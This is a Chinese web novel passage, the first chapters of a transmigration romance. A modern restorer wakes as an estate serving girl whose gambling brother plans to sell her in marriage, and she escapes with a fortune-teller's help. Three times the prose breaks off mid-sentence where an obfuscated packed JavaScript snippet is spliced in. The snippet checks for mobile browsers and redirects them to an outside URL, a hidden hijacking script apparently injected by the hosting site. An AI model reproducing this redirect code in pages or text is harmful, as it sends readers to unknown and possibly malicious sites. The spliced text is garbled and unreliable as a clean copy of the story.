《当通房但收获娇夫》 1. 这是穿越了 阳春三月,京郊处处春意融融,桃李吐蕊,绿油油的麦苗正拔节生长。 一间破败的小屋却门窗紧闭,把大好春光挡在屋外。老旧的木床上一名满脸病容的女子正悠悠转醒。 痛! 渴! 舒容感觉全身没有一丝力气,骨头缝里仿似针扎一般疼痛。干裂的嘴唇上残留着细微的血迹,嗓子干得像着了火,喉头上似乎还有血腥味。 舒容挣扎着想起来喝水。茶壶放在离她几步外的桌子上。她费力地支撑自己坐起来,掀开早就不暖和的破旧棉被,刚穿上鞋准备走到放茶壶的桌子边,脑袋突然一阵眩晕,让她重重摔在地上,发出一声闷响。 门忽然被打开,传来焦急的女声。 “哎呀,容丫头,你可是摔到了?” 来人赶忙将舒容扶到床上,见她身上只穿着一件薄薄的单衣,又赶忙从衣架上取下一件外衣披在她身上。 看见舒容没有血色的脸,花大娘看向她的眼神满是心疼。前段时间还好好的,一场风寒就成了这样。 “容丫头,刚刚可是想喝水?大娘给你倒水去。” 茶壶里只剩小半壶凉水,花大娘叹了口气,把水端给舒容。 舒容接过茶杯,两三口把水喝下,喝得太急开始猛烈咳嗽起来。 她坐在床沿上一手拿着茶杯,一手拍打胸口。 咳咳咳咳。 花大娘伸手抚摸舒容的背部,企图帮她缓解咳嗽。舒容咳嗽好一阵才结束。 舒容抬头望着花大娘,脸上用力挤出一丝笑意,“多谢花大娘来看我。” “哎,你可还想喝点水?” 舒容点点头。 花大娘接过她手里的杯子,又从茶壶中倒出大半杯水,舒容喝完水后,花大娘扶她到床上躺下,转身出了屋子。 许是喉咙不再干涩,舒容脑袋也清醒起来。望着头顶的打着补丁的床帐,她深刻感受到命运的无常。 她本是现代的一名上班族,前几天才过二十八岁生日。她从小学习成绩优异,大学学习文物修复专业,毕业后就在相关机构工作,经过几年的努力,现在也是在业界小有名气的书画修复师。父母虽然在她小学时离婚又各自再婚有了小孩,可是她和弟弟妹妹都相处和谐,父母也没有因为分开而冷落她。 一切只是因为她攒的年假要过期,她突发奇想要去翠翎山玩,没考虑到最近天气多雨,在开车经过一处山坡时突发泥石流,迅速滚落的石头和泥土把她的车掩埋。救援力量来得很快,可当时她正开窗吹风,一块石头精准砸到她的脑袋,当场死亡。 接着她就来到了这里。一个在历史上根本不存在的陌生王朝,大启朝,建国已有一百多年。 她穿的人和她同名同姓,也叫舒容。至于是不是长得一样,她还没有照过镜子,不过一定比她年轻很多,因为这个舒容今年才十六岁,比她年轻整整十二岁。 舒容她家自她爷爷起就是方府的家生子,到她已经整整三代。方家老爷现任工部尚书一职,府中大公子现外地授官,二公子十六岁中进士,被皇帝称赞亲自指派去翰林院任职。 方府家大业大,舒容所在的庄子是他家的其中一座,因为地处京郊,每半月要往府中运送瓜果鲜蔬。 庄头明大元仗着曾做过故去老太爷的小厮,颇得主家几分看重,在庄子里头很有威信。 舒容的父母前几年因病相继去世,现今就只剩她和哥哥舒力住在这处偏僻院落里。父母在时,家中过得还算不错。每月都能吃上点肉,过年也能穿上新衣,母亲在时若去府里送菜,回来必会给她带上街上的一两样吃食,虽是奴仆之家,也是尽力给她最好的。 可是父母走后,哥哥被庄上的几个混子带着进入赌坊,从此一发不可收拾,父母留下的钱全赔在赌桌上,家中值钱些的东西都卖光了,连带她每月的100文月钱基本也被哥哥连哄带骗地拿走。 几天前她在溪边洗衣裳,不小心踩空落水,爬起来被冷风一吹,第二天就得了风寒。哥哥除了上工,就是跑去赌坊,根本不管她的死活。她无钱就医,烧了两天,就这样离世了,再醒来就变成了现在舒容。 当时舒容烧得迷迷糊糊。多亏花大娘来给她送东西发现她,又垫钱从隔壁村子上请了大夫,吃了几服药下去,总算把烧退了。 门又从外打开了,明亮的阳光下花大娘端着东西进来,放在桌子上后,又走到床边用手背贴了贴舒容的额头。 见没有再起热,心下松了口气。 花大娘和舒容母亲,自小一块长大,情比姐妹。舒容母亲病故后,她也常照拂舒容,只是自己也有一大家子人,只有抽空才能过来看看。舒力前几年还是庄子上数得上的好小伙,没想到才几年,就成这个样子,连自己亲妹妹病成这样也不见他过问一声。 “容丫头,大娘煮了点粥,还往里头打了一个鸡蛋,你快起来趁热吃。” 舒容坐在桌前看着大瓷碗中的蛋花粥和旁边的一碟咸菜,她用调羹舀了一口咽下,咸鲜的滋味在口腔蔓延,味道特别像她妈妈在她小时候经常做的早饭,眼泪止不住地落下来。 “怎么了,可是大娘做的不好吃?”花大娘问道。 舒容用衣袖擦去泪水,摇摇头,开口道:“好吃,多谢花大娘。” “哎,这不值当什么。我还烧了水,你慢慢吃,一会儿大娘端水过来你擦擦身子换件干净衣裳再睡,你这躺了几天又出汗肯定不舒服得很。”说完就去了灶房。 花大娘安排舒容躺下后,又将就舒容擦身子剩的热水将舒容的脏衣服洗了晾好再回家去。还嘱咐她说灶房里头还有粥和鸡蛋,让她自己热着吃。她过两天再来看她。 舒容舒舒服服一觉睡到黄昏时分,身体明显感觉好了不少,身体的酸痛感大大减轻。这几天她几乎都躺在床上,活动范围只有这个小屋。她凭借原身的记忆,准备去灶房热饭。刚出门就碰到从外头回来的舒力。 舒力身上穿着青布衣裳,大眼睛,宽额头,跟原身记忆中的父亲有几分相似。 舒力看见舒容,三两步走过来,殷勤说道:“妹妹你好些啦?哥哥我这几天都太忙,庄头安排我去外头办事,今天才刚刚回来,才听花大娘说你生病了。哥哥没好好照顾你,真是该死。”说完还朝自己脸上佯装扇一个耳光。 舒容停下来面无表情地看着他。 见妹妹没有说活,舒力也不生气。见舒容往灶房方向去,他笑着便道:“妹妹是不是饿了?你往房中歇着吧,哥哥做好饭来叫你。” 舒容怕自己不会生火,迟疑片刻答应了。 舒力没有做新的菜,只是把花大娘中午煮的粥重新热了热。舒力在赌坊赌瘾上来便忘了吃饭,晚饭时便将花大娘预备给舒容吃两天的饭吃得干干净净。 又过几天,舒容身体彻底痊愈,便开始在庄子上干活,他们每月的月银跟出勤也是有关系的,现在又正值农忙,如果庄头觉得做活太少是会扣一部分月银的。 舒容还欠着花大娘的药钱,她要早日还给她才是,花大娘没分家,跟公婆还有两个妯娌一家人住在一起,日子也并不宽裕。原身纺布技术不错,她多数时间就被安排纺布,偶尔会去帮忙翻地种菜。 舒容从没接触过织布,没想到按照原身的记忆来也做得有模有样。 舒容一日从纺布房回家,在路上被拦了下来。 “舒容妹妹,你长得真好看。” 说话的人浑身酒气,舒容嫌恶地往后退了几步。 舒容抬眼看原来是明庄头的二儿子庄二宝,庄子里头的头号酒鬼,长得膘肥体壮。 见舒容往后退,庄二宝又朝前走了两步,脸上的肥肉随着他的步伐颤动。露出一口黄牙,笑道:“舒容妹妹,你知道我爹是咱这儿的庄头,你跟了我,只会享福。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143182|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着就要伸手摸舒容的脸,舒容闪身躲开。 舒容其实是有些武力值的。她小学被同班一个男生推到街边的排水沟里,刚上身的新裙子沾满污水,她回家就跟爸妈说她想学打架,妈妈就带她去学习拳击。她练了一个学期,终于逮到机会把那个男生揍了一顿报了仇。此后她一直坚持这个爱好,平时休息日也会去附近的拳馆打拳。 她不想打明二宝主要担心明庄头暗中报复,她如今寄人篱下,完全没有反抗的力量。明庄头虽然表面公正,实际上最护犊子。听一同纺布的大娘说曾有人说明二宝太胖,被明庄头安排做了一年最累的活儿。 “诶,明庄头你回家啊!”舒容故意大声说道。 明二宝一时愣住,转过身看向舒容喊的方向,舒容赶紧趁机从另一头跑掉,抄近路回家。 舒容家附近也有几户人家,舒容最近上工归家都尽量和她们一起走,安稳过了两日。 每月初五是发月银的日子,舒力难得没去赌坊,一早就在堂屋里等着舒容和他一起去明庄头家的院子里领钱。他叫上舒容并不是出于好心,只是因为避免扯皮府中规定月钱必须发到对应的人手里,还要按手印。 吃过早饭后,舒容兄妹二人往明庄头家走去,一路上遇到的都是携家带口去领月钱的人。经过舒容的观察,这个庄子占地近五百亩,里面的奴仆大约有近两百人。 好不容易排到了舒力,明庄头却只给他一百文钱。 他不满地问:“为何我只有一百文,我的月钱该是两百文的。” 坐在桌子前的明庄头抬头眯着眼看他,不屑地说:“上个月你做了多少天工自己该心里有数,若不是看在你过世爹娘的份上,这一百文你都别想要。” 舒力讪讪地笑,连忙把钱收到袖口里,离开队伍,站到一边等舒容。他这个月月钱少了点,还好有舒容那一份,也够他去赌坊玩上几回。 他眼睛盯着正在等领钱的舒容,他妹妹的模样身段真是没得说,明二宝那个酒鬼已经明确跟他说过想娶舒容过门,彩礼最高可以给五十两。想到此处,他心中不免高兴起来。 刚到家舒力就迫不及待开口向舒容要钱,他在旁边可是看得清清楚楚明庄头给了她八十文钱。 他刚开始还好言好语哄骗,说了几次,舒容没有理他,他就不耐烦地破口大骂起来。 “舒容,你长脾气了,我的话你也敢不听了。” 舒容自顾自往屋里走,舒力拽住她的衣袖,企图把钱抢走。 舒容忍不可忍,一个侧身加钩脚把舒力摔翻在地。 舒力不可置信地看向舒容,“你——你——” 这个丫头什么时候力气这么大。 舒容居高临下地看着他,“你的月钱怎么花我不管,我的月钱是我的你一文也别想拿走。”说完转身进了房间。 舒力在地上坐了半天才起身,揉着自己摔痛的屁股,在院子里嚷着:“舒容,你别反了天了,等着哪天我收拾你!”说完转身恨恨地蹬一脚院门,瘸着腿往赌坊去。 舒容在货郎那里买了一小包糖,又在邻村买了十个鸡蛋,去花大娘那里谢她,又把她垫付的钱给她。 一个来回,手里就只剩下五文钱。舒容把钱妥善放好。 半夜舒容做了个噩梦,把她吓醒了。她披衣起身想喝口水,听到院外传来交谈的声音,便轻手轻脚走到门边。 “你上次说的可还算数?” “当然算数,我已经跟我爹说过了,我爹说等这个月去完府里交菜就张罗我的事。” “我可告诉你,五十两的彩礼一文都不能少,舒容可是这方圆几十里最美的姑娘,有的是人想娶。” “你放心,少不了你的。” 两人又说了一阵话才分开,舒容听得心惊。他这个便宜哥哥准备用五十两把自己给卖了,就在这个月,不行,她必须想办法离开这里。 2. 方二少爷适合晚婚 京城中,方府厨房里,两个小丫鬟各捧着一碟枣糕和一碟枣花酥正往采晖堂偏厅里送。 此时偏厅里站一位看着三十来岁的妇人。身穿宝蓝色织金蝴蝶缎面交领袄,发髻上斜插一根金凤吐珠簪,脸似银盘,肌肤莹润,只是看起来一脸愁容,在屋内不停踱步。此人正是方府的当家太太何惟月。 “太太,先坐下来喝口茶吧。”说着把新泡的碧螺春放到靠墙的紫檀木桌上。 说话的是个瘦高的嬷嬷,穿一身酱紫色衣裙,眉眼看着有些严肃。 “红杏,你说二郎这孩子怎么不让我发愁。”何夫人深深叹气,随即在椅子上坐下。 端起一旁的碧螺春,一口没喝又放下。 这事还要从上个月说起,二月二十五是工部侍郎刘大人家夫人的生辰,何夫人准备好贺礼高高兴兴前去祝寿,没想到生了一肚子气回来。 何夫人现年四十二,十六岁与方大人成亲,从西平县远嫁到京城。婚后夫妻感情和睦,方大人爱重她,府中连个妾室也没有。她生育两子,方大郎现年二十五岁,与妻女一起外放做官。方二郎现年十七岁,在翰林院任职,本该成婚的年纪却还迟迟不肯议亲,也不肯让女人亲近,身边伺候的净是小厮连个丫鬟也没有,就是在采晖堂遇到年轻丫鬟递个茶水也是丝毫不假辞色。 方二郎方冉途眉眼精致,皮肤白皙,打小就有玉娃娃的美称,如今更是京城排的上号的美男子。科举之路也是一路顺遂,家室虽比不上皇亲国戚,也是有头有脸的人家。方大人眼下也颇得皇上青眼。 京城中爱慕他的小姐也有不少,他都让何夫人婉拒了,何夫人以前觉得他以科举为重也没什么不好。可如今其中的几个小姐成婚后连孩子都有了,他的婚事却还没有影儿。 席间,寿星杨夫人将她家刚满一岁的孙女抱出来给大家看,众人纷纷赞赏。何夫人也抱着小孩逗弄一阵。 “何夫人这么喜欢小孩,什么时候让你家方二公子也生一个才好。不过方二公子还没议亲,怕是还有的等。” “等等媳妇也不怕什么,只是听说有人在玉桥街上看见方二公子和翠云馆的夔公子一起并肩走,若是给家里领回来一个……,那就不好了。” 话声刚落地,引起全场夫人小姐一阵笑声。有些人顾忌方大人的地位,吃茶吃果掩饰笑意;有些人没忍住笑出声来,其中笑得最大声的就是拱火的二人,兵部尚书的夫人徐氏和户部侍郎的夫人周氏。 这二人与何夫人素来不睦。她们年少时便自诩京城才女,看不起何夫人娘家是地方的百户,又羡慕何夫人能得夫君宠爱,一有机会便取笑她。只是何夫人两个儿子都争气,尤其是方二公子,她们家的混小子拍马都赶不上。心中生怨,现如今逮到这样一个机会可不得好好嘲笑一番。 何夫人的脾气比年轻时收敛许多,她云淡风轻地品茗,等大家笑过才缓缓开口道:“我家二郎缘分还未到,等来日娶新妇定会奉上请帖,请诸位观礼。” 何夫人以她认为最好的姿态说完这番话,回去她问过方二郎,知道夔公子的事是个误会。没想到刘大人家寿宴结束没几天,方二郎可能是断袖的传闻就在京城传开了。连他家老爷,这个不喜说闲话的都从同僚口中听过这个谣言。 “都怪那两个长舌妇!”何夫人攥起拳头重重捶在一旁的桌面上,把白瓷杯中的茶水都震出来不少。 张嬷嬷麻利地把茶水擦干净,又换上新的茶水。见从厨房拿糕点的两个丫鬟回来,从她们手上把枣糕和枣花酥放到桌子上。 “太太,这是厨房新做的,您快尝尝。” 何夫人最喜有红枣的糕点,一样吃了一个,焦躁的情绪渐渐平复下来。 “红杏,你也吃,厨房新请的糕点师傅厨艺不俗,比天香楼的也不差什么。”说着拿起一块枣花酥递给张嬷嬷。 张嬷嬷是何夫人身边的老人,从何夫人待字闺中就在旁侍奉,最了解何夫人的喜好。 何夫人吃完糕点,洗净手,站在窗前看风景,忽然看到院墙边上有一株枯死的石榴树。 “红杏啊,你说那长舌妇说的不会是真的吧?” 方冉途刚回竹香院还没来得及换下官服,康平就说张嬷嬷传话让他去采晖堂一趟。 “娘,儿子给您请安。”一道清冽的男声响起。 正在廊下逗画眉鸟玩的何夫人听见儿子的声音,转过头看他站在月洞门口。 方冉途身穿卷云纹白色直裰,头插一支青玉簪,身材挺拔,眉目如画。 何夫人示意旁边的丫鬟把画眉拿下去。 母子两人走到室内坐下。 “二郎,近日公事上可有烦恼?”何夫人关切地问。 “幸得同僚关照,公事上都还顺利。”方冉途危襟正坐,看向何夫人认真回答道。 “那就好,娘听康平说你近来看书到深夜,还是莫要太累着自己。” “是,儿子明白。” 丫鬟碧桃给两位主子奉上茶水,何夫人喝了一口。 “二郎,你今年也十七了。你之前说科举为重,娘也不说什么,如今也入仕了,何时考虑婚姻大事?” 方冉途没有说话,垂头看向白瓷杯中漂浮的茶叶,并非他不愿成婚,只是他的意中人已成他人妇。 就在这时张嬷嬷急匆匆走到何夫人近前。 “太太,刚刚洪府下人来报表小姐夫君在今日急病辞世了。” 听到这话,何夫人心下讶然,洪少爷虽体弱跟念鸿成婚多年未曾生育,没想到猝然离世。 坐在下首的方冉途心中却乐开了花,那病秧子离世,表姐成了寡妇。本朝不禁寡妇再嫁,只是需要为丈夫守寡一段时间,他终于等来了机会。方冉途脸上不禁浮起一抹笑意,怕何夫人察觉,瞬间又换上那副清冷模样。 何夫人吩咐下人去告诉方老爷,又和张嬷嬷商量去洪府祭拜的事宜,方冉途趁机寻了个借口离开。 康平看自己少爷从采晖堂回来后就一副喜气洋洋的样子,心中疑惑,他没听说府里有什么喜事啊。他爹是府里管家,母亲又在厨房管事,府中几乎没他不知道的事。 “少爷,什么事情让你这么高兴?” 方冉途没回他,从荷包里取出半两银子让他去天香楼买些糕点跟竹香院众人分着吃。接着从书架上随手拿下一本书坐回书案旁翻看起来。 康平拿着银子挠头离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143183|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。他今年十五,九岁起就跟在二少爷身边侍奉,二少爷对下人很好,就是不爱说话,他虽然是贴身小厮,有时候也不明白二少爷的想法。 房中只剩自己一人,方冉途心中盘算起来。四年前他还小才让表姐另嫁他人,如今他也到娶妻生子的年纪,一定不会再错过表姐,只是他需要时间让表姐心甘情愿嫁给自己。 几天后,何夫人出门参加茶会。在回家的必经之路上遇到一名身着蓝色道袍的游方道士。那道士斜坐毛驴上,背对着轿子,横在街中挡住去路。 “你这道士好生无礼,牵个毛驴挡路,还不快挪开!”碧桃大声朝那道士喊道。 何夫人本来坐在轿中闭目养神,听碧桃的声音掀开车帘一角往外头看。 这道士从毛驴上跳下,拉着毛驴走到何夫人近前。 “夫人可是为子女婚事犯愁,小道颇通些命理之术,或许可以为夫人解忧。”道士慢悠悠地说道,嗓音却十分醇厚,让人产生信服之感。 何夫人往常并不大信这些,可二郎的事情着实让她苦恼,这个道士又一面就能猜出她的想法,或许有些真本事,便将人请入府中。 采晖堂偏厅内,碧桃刚刚把张道士送出府去,张嬷嬷给何夫人端上一碗红枣银耳羹。 “太太,这张道士看过二少爷八字,又把二少爷的许多事情说的贴切。若依他所言,二少爷成婚太早会不利自身也难逢良缘,要等到二十往后,方可渡煞成亲,修得圆满姻缘。” 何夫人舀羹的手停下来,哀愁道:“有些事情宁可信其有,不可信其无。张道士能得知二郎五岁时落水大病一场,怕是能窥到些天机。看来二郎的婚事是还要等上几年才成。” 张嬷嬷连忙安慰道:“太太别忧心,若真如他所言,二少爷以后得遇良缘,小两口能美满度日,等上几年也是值当的。” “嗯,说的也是这个理。” 如意茶坊的二楼雅间内,张道士满意地看着刚收进荷包的二十两银子。 捋着自己的胡须,从青绿色的茶壶中倒出一杯茶,递到对面端坐的少年公子前。 “方二公子,饮茶吧,这是今年的春茶,滋味好得很。” 说完自己端起茶杯闻香,一副陶醉模样。 “此事你知我知。”方冉途盯着他的眼睛缓缓说道。 张道士看着他微微颔首。 方冉途饮尽杯中茶,离开茶坊。 竹香院书房内,方冉途正在刻章。只见檀木印床上固定着一方青田玉,他手持刻刀正聚精会神地下刀。 康平端进来一杯茶和一碟栗子糕放到书案上,又把灯芯剪去一截。 “少爷先喝杯茶吧,你老师生辰不是还有好几日嘛。” 方冉途净手完,捻起一块栗子糕吃。 一旁的康平又道:“少爷你下午出门怎么不叫我?身边连个人都没有,我爹知道这件事还教训了我一通,说我贪玩。” “有事出去一趟,错不在你,我会和康叔说的。” 刻完印章,还没到方冉途睡觉的时辰,他从书架上取下一方锦盒,小心地拿出里面的一把折扇,满眼柔情地摩挲起来。 表姐,你等着我。 3. 张道士帮忙 转眼就到十五,又是要去府中交菜的日子。一大早庄子上就忙碌起来。给府中的菜除了干货都是当天现摘的,还要保证品相,就算几十个人一起干活也要忙碌一两个时辰。 舒容去上工的路上遇到了管果子的李娘子,舒容把人拉到一边,寻了无人处说话。 “李娘子,我近来风寒才好,想去京城里逛逛散散心,你看今日去府中能不能带上我。”舒容恳求道。说着就往李娘子的手中塞了一对葫芦耳铛。那耳铛虽然不是金银打造,胜在样式精巧,李娘子最是爱俏,同意了舒容的请求。 舒容从一处纺布的李大娘那里得知,原来每次去府中送完菜,送菜的人要是有亲眷在府上的都能去府中寻人说说话,要是碰巧得主子们赏识就能留在府里做事,月钱要比庄子上多不少。就算没被主子看中,也能顺道去京城逛逛,长长见识。李大娘的小女儿就是被主子看中留在府中做事。 舒容打听好管事的人,却苦于没有银钱送礼,这些人跟他们家没什么交情,不会无故帮她。幸而原身记忆中母亲在原身的床下放了一个盒子,说是留给她的嫁妆。 她趁舒力没在家,关起院子搬床掘土,在床头位置找到一个小木盒。里头打开有一对耳铛,两只素圈银镯和五十文钱。 就这样舒容才打通了去府里的路。不巧的是,何夫人这两日身体不适,管家特意吩咐,让他们不准去采晖堂走动。方家父子休沐同去给方冉途的老师贺寿,也不在府中。 舒容在府中随便转了转,便去京城的街道中走走,希望能碰到些机会助她离开庄子。回庄子的牛车申时末在城门口集合,舒容还有时间。 她一路走走停停,古代的首都京城虽然没高楼大厦,大街上也是车水马龙,热闹繁华。走了一个多时辰,一无所获。舒容走到河边的一棵大榕树下,那榕树有二人合抱那么粗,根系裸露出地面,交缠在一起形成天然的座椅。 舒容有些累便坐下来歇脚。此处有些偏僻,除了远处有个茶水摊再没旁的店家。 舒容靠着榕树休息,恍惚间听到一个男人的咒骂声。 “死倔驴,我不就是昨天在桑娘子家留宿忘了带你出来吃草,一天而已你就这般生气,信不信我把你送去做火烧。” “哇啊哇啊哇啊。” “好啊,你还犟。” “哇啊哇啊哇啊。” 看见一人一驴吵架,舒容险些笑出声。 “那方府赚的银子我是不是给你医了眼睛,没我你还是个独眼驴!早被人吃了!” 那毛驴用力拖着缰绳把后头的男人往榕树上带,眼看男人就要撞上榕树。舒容一个闪身把毛驴的缰绳拖住,堪堪避免了男人被撞。 张道士惊魂甫定,把手中的缰绳一松,对那毛驴喊道:“吃草去吧你!” 又转过来对舒容道谢,“要不是姑娘相助,小道我俊美的脸庞就保不住了,多谢姑娘出手相助。”说完认真向舒容拱手致谢。 舒容也回了一礼。 毛驴在远处吃草,两人聊起天来。 “刚刚听你谈到方府,可是那方二公子府上?”舒容说方二公子是因为在世人眼中,方二公子比方大人更有名气。 张道士看着眼前花容月貌的姑娘,没想到方二公子竟有如此多女子喜欢,真是让他羡慕。 张道士点头承认,说何夫人请他去府上算过命,两人相谈甚欢。 舒容伸手摸袖袋中的银镯子,看着捋胡子的张道士有了主意。 “实不相瞒,小女是方府家仆,在京郊的庄子上做工,现遇恶人逼嫁想要到府上去,如此才能脱离魔爪,恳请先生帮忙。小女感激不尽。” 舒容说完扑通一声跪了下来,她盈盈泪水蓄在眼眶中,要落未落,好不可怜。 张道士连忙把人扶起,“姑娘快起,姑娘这事小道尽力为之。” 张道士问了些舒容的八字,又认真观察她的体貌,心中已有盘算。 “就这几日,小道会再去方府,助姑娘完成心愿。”张道士说得信誓旦旦。 看了一眼日光,舒容从袖中掏出一双银镯,“这是小女所有钱财,万望道长促成此事。小女不胜感激。” 张道长看了舒容手里的银镯,正犹豫拿不拿,舒容又往前递了递,他便拿了一只装到袖袋中。 “小道取一只足矣,剩下的一只姑娘收起来吧,总有用得到的地方。” 舒容再三道谢,怕赶不上牛车匆匆离去。张道士看舒容单薄的背影,转身去寻前面河滩上吃草的毛驴。 翌日,采晖堂里何夫人午睡从梦中惊醒。 张嬷嬷闻声连忙进屋,把湘妃色的蚊帐挂起,“太太,可是做噩梦了?” 何夫人点点头,由张嬷嬷服侍着起身穿衣。珍珠捧了一杯清茶进来,何夫人喝了一口,挥手让珍珠端下去。屋内一时只剩她和张嬷嬷两人。 “红杏,我梦到二郎和一男子成亲了,这……”何夫人一时语塞。 张嬷嬷安慰道:“只是梦罢了,太太不用放在心上。” 何夫人连连叹气,又道:“二郎这孩子不近女色,院子里连个侍奉的丫头都没有……” 联想刚刚做的梦,何夫人越想越心惊。 张嬷嬷思索道:“二少爷虽缘分未到不便成婚,想来找个房里人侍候是无碍的,不如夫人给二少爷赐名通房丫头。” 何夫人眼前一亮,笑道:“你这想法正合我心意。” “只是也不能随便找,怕有冲撞。夫人不如请上次来的那个道士看看,奴婢记得他说最近都住在城南的集雨巷。” 何夫人连忙派人去请。 张道士在屋内呼呼大睡,准备明日去方府。没想到他还没去,方府就主动找上门来。真是天赐良机。 听完何夫人的诉求,张道士觉得舒容既然想来方府做丫头那不如就做通房丫头,凭借她的才貌以后升成妾室也不是问题。 张道士兜了阵圈子,又是掐诀又是观象。 “此前小道算出,贵公子有三年煞期,不可成婚。而今若寻房中人,那便只有六月初六生辰,现年十六,脸带梨涡,掌心有红痣者,方能与之相合。除此之外,皆是孽缘。” 何夫人和张嬷嬷用心记下张道士的卜卦,思索着府中哪里有符合这些特征的女孩。 “念夫人你爱子心切,小道再送一句话,此女子远在天边近在眼前。” 送走张道士后,何夫人和张嬷嬷就忙活起来,让康管家按照花名册把府中十六岁的女孩子都叫到采晖堂里一一看过,只有一个丫鬟是六月初六生人,可除了这一项其他的都对不上号。 何夫人有些气馁,连平时能吃一碟的枣糕也只能吃下一半。 第二日午膳时,厨房送来庄子上春笋熬的鸡汤,味道鲜美。何夫人咬到春笋时,不禁想起张道士的那句赠言。远在天边近在眼前,莫不是这个意思。 “红杏,京郊那个庄子我们上次去是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143184|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候?” “三年前了,那年春天小小姐闹着要采樱桃去了几天。” 听张嬷嬷说起,她也记起这事。 “那明日我们就去庄子上住两天。”何夫人把碗里的鸡汤喝完又自己舀了一碗,还特意多舀了几块春笋。 张嬷嬷看何夫人的动作心下了然。 舒容的小院内,正坐着花大娘和她的小女儿。 “看你现在恢复好了,大娘真是高兴。以后好好保重自个儿,你哥不争气是他的事,你自己的日子还是要自己过下去的。”花大娘拉着舒容的手温柔地说道。 舒容心里涌起阵阵暖流,在这个陌生的世界里也有人真的关心她。 “大娘这会儿就回去了,家里还有一堆事。”花大娘说着就要起身告辞。 舒容转身折进屋内,拿出一包糕点,道:“这是我前两天去京城买的绿豆糕,你拿回去给孩子们吃。” 花大娘连连推辞,最后还是舒容态度强硬才收下的。 花大娘没走一会儿,舒力就回来了,对着在院中收衣服的舒容阴阳怪气道:“我看妹妹你对外人倒是好心,怎么不见你关心关心哥哥我。” 舒容白他一眼,收好衣服回房去。 舒容这个臭丫头越来越目中无人,等几天把你嫁出去看你还能不能这么嚣张。想着就抬脚往明家走去。 “提前?”明二宝疑惑道,现在离月底也不差多久。 他口中的酒气熏得舒力直想呕吐,舒力侧过身,眼神不悦地瞥向对方。 “嗯,你就不想早点娶我妹妹?” 明二宝不满道:“我看你是没钱赌,等着那五十两银子吧。我告诉你,这庄子上是我明家说了算。” 舒力见明二宝态度强硬起来,语气便柔和下来,“是是是,我们谁还不是在明庄头手底下过活。” “算你识相,我会去跟我爹说的,你等我消息吧。”明二宝说完转身走了,颤颤巍巍的像座移动的肉山。 “呸!瞧你那样子。”舒力往地上吐了口唾沫,恶狠狠地盯着走远的明二宝。 何夫人到庄子上的时候将近正午,由于没有通知提前通知,一时间搞得明大元鸡飞狗跳。 “明庄头,是我不周到,没让人来知会一声,突然来了,让你饭也没吃好。”何夫人笑吟吟地说道。 “太太哪里的话,这庄子上都是方家的,我们在京郊没法侍奉主子,都盼着太太少爷们来庄子里头玩耍玩耍。”明大元恭敬回道。 “我就住一晚,明日下午回京。只有我一个人来,你就收拾出几间屋子给我们凑合住一晚就行了。不用把屋子都打扫完。” 何夫人在明大元的陪同下看了庄子里种植的蔬果,身体有些疲倦便要回房休息。 “明庄头,我院子里正缺个伶俐的丫鬟,我看庄子里头姑娘多,想着挑上一个。岁数也不要太小的,十六岁正好。你明天把合适的女孩子都带过来让我亲自挑。” 明大元连忙把事情通知下去。 “爹,十六岁,舒容不就正好十六岁。要是夫人把她挑走了儿子怎么办?”明二宝看着坐在桌前整理账目的明庄头苦着脸问。 “是呀,他爹,你都答应二宝了。”在一旁拿着簸箩缝袜子的妇人也附和道。 明大元满眼宠爱地看向明二宝,“二宝,爹会把舒容那丫头给你留住的,别担心。爹五十两银子都准备好了,等夫人走了,我就找人去提亲,让你们尽快成婚。” 4. 舒容被打 第二日,着一身杏黄色蝶戏百花织金缎袄裙的何夫人正在张嬷嬷的侍奉下吃早膳,明大元一早就过来等着听她吩咐。她吃完早膳又喝了小半杯茶后才去到院中。 看见院子中间站了好几个姑娘,何夫人抬头看一旁的明大元。 “夫人,这就是庄子上所有十六岁的姑娘了。” 何夫人转移视线扫过这些姑娘,开口道:“你们中间有谁生日是六月初六?” 在场的姑娘们纷纷摇头。 莫非张道士说的不是这里?何夫人和身旁的张嬷嬷对视一眼。瞥见明庄头手里拿着花名册。 “明庄头,你把花名册拿来我看看。” 张嬷嬷会意便走到明大元面前拿,没想到对方却迟迟不肯给她 何夫人看见这一幕有些奇怪,开口道:“怎么了?把花名册拿给我。” 又过半晌,明大元才把花名册给张嬷嬷。 看着院中等待的女孩,“张嬷嬷你每个赏他们一百文,让她们回去吧。” 领到赏钱的女孩都高高兴兴地离开了,而此时明大元的脸色却不大好看。 二宝好不容易看上的丫头,难道就这样被夫人挑走。他看向坐在椅子上看花名册的何夫人,开口道:“夫人,今早着急过来,庄子上有点事忘了吩咐下去,奴才先去处理一下。” 